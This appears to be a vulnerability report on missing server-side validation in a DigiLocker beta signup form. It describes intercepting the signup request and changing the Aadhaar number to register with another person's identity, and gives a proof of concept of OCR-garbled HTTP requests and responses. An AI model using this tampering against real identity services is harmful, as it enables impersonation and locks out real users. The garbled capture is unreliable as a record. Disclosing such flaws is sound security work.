Server Side Authentication
Summary: Server side authentication is done to check is data entered on client side is verified or not. Whenever a user enters details in registration form then client side is being authenticated and after that when data passes to server then at that time one more authentication is performed on data which is on server side. 

Severity:   Medium

POST Request
[image: F:\Hacking Progress\Internship\No rate limit pic\Server side issue\post_request.png]
Complexity: Easy 
Steps: - 
Getting the post request by filling form 
[image: F:\Hacking Progress\Internship\No rate limit pic\1_registerfill.png]
Now intercepting the request sending to repeater and changing the aadhar number
[image: F:\Hacking Progress\Internship\No rate limit pic\Server side issue\request_aadhar.png]
Impact: An attacker can used the data of other user which is not registered on site and can use his aadhar number to get access of all document and when main user tries to register on site then that user will unable to register on site


Affected Page	
https://betaaccounts.digitallocker.gov.in/signup
Recommendations: 
a. There should be a protection on the web application for limiting the user’s simultaneous requests.
b. There should be authentication on both server and client side
 
[bookmark: _GoBack]Proof of Concept:
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POST /signup/signup_request HTTP/1.1
Host: betaaccounts.digitallocker.gov. in

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; xE4; rvi81.0) Gecko/20100101 Firefox/81.0
Accepe: +/*

Accept-Language: en-US,en;q=0.5

Accepe-Encoding: gzip, deflate

Content-type: application/x-wew-form-urlencodsd

Content-Length: 113

Origin: hteps://betaaccounts.digitallocker.gov.in

Connection: close

hetps://betaaccounts. digitallocker .gov. in/signup/

ga=GAL.1.575780653 . 160269590¢; _ga SVTSXYGXHS=GSL.1.1603192517.7.0.1603182517.0,
303151609 abEPE2aChTasabTLaddsethT Lcage; SRVNAE=S1

sadhaarliunber=000010001000 emas =CescOgmas 1. comnob 1 Le=703053 58 name=cest
1/01/2004 ¢gender=Hep in=000000]
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Creating account is fast and easy!

test it

Please enter your name as per Aadhaar
Date of Birth*
1 2 Jan 2 2004 2

Please enter your date of birth as per Aadhaar

Male @

+91 7020653598

We will use this mobile for future communications

6 digit PIN provides extra security to your account with two-factor
authentication.

test@gmail.com

We will use this email ID for future communications

818215781187

DigiLocker uses Aadhaar to verify identity of the user and also
enable authentic document access

By signing up, you agree to DigiLocker's Terms and Privacy Policy.
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itips://betaaccounts.digitallocker.gov.in u

POST /signup/signup_request KTTE/L.1
Host: betaaccounts.digitallocker.gov.in

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wingd; x84; rviBL.0) Gecko/20100101 Firefox/8l.0
hocept: */%
Accept-Language
Accept-Encoding: gzip, deflate

Content-type: application/x-wwi-form-urlencodsd

Content-Length: 113

Origin: https://betaaccounts.digitallocker.gov.in

Connection: close

Referer: https://betaaccounts.digitallocker.gov. in/signup/

Cookie: _ga=GAL.1.S75780£53.1602695906; _ga_OV7SXYGKMI=GSL.1.1803182517.7.0. 1603192517.0,
DLOCKER=43b3£51698 abb 28chtasabt laddesthT lcase; SRVNAMESSL

en-Us, en;

aadhasziVumber=8000 10001000 Gema 1=ce3tlqmai.L. comamob s 1e=7020653588 cname=test
it 6dob=01/01/ 2004 6gender=1ep 1n=000000]

HTTP/1.1 200 OK
server: emvoy

date: Tue, 20 Oct 2020 11:19:48 GHT

content-type: text/html; charset=UTF-8

vary: Accept-Encoding

expires: Thu, 19 Nov 1981 08:52:00 GHT
cache-control: no-stors, no-cache, must-revalidate
pragma: no-cache

%-frame-option:

SAMEORTGTI
1; mode=block
%-content-type-options: nosniff
strict-transport-security: max-age=31536000; =nv=HTTPS
x-envoy-upstrean-service-time: 1208

x-xss-protectios

connection: close

x-envoy-decorator-operation: enter_aadhaar_page
Strict-Transport-Security: max-ag:

Content-Length: 247

{"status" :"success" , 'msg’
sent you an OTP to your Digilocker registered mobile (x000003598)" " txn'

DigiLocker has sent you an OTP to your Digilocker registered mobile (:00000c3598)",'message” :"DigiLocker has
£100007204-ah22-5113-9167-9ddfbecTeTe3" }
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{"status":"success" ,"msg" :"Digilocker has sent you an OTP to your Digilocker registered mobile (x000003598)",'message’:'Digilocker has
sent you an OTP to your DigiLocker registered mobile (x00000c3598)","txn':"c0007204-ab22-5413-9167-9ddfbecTcTe3" }




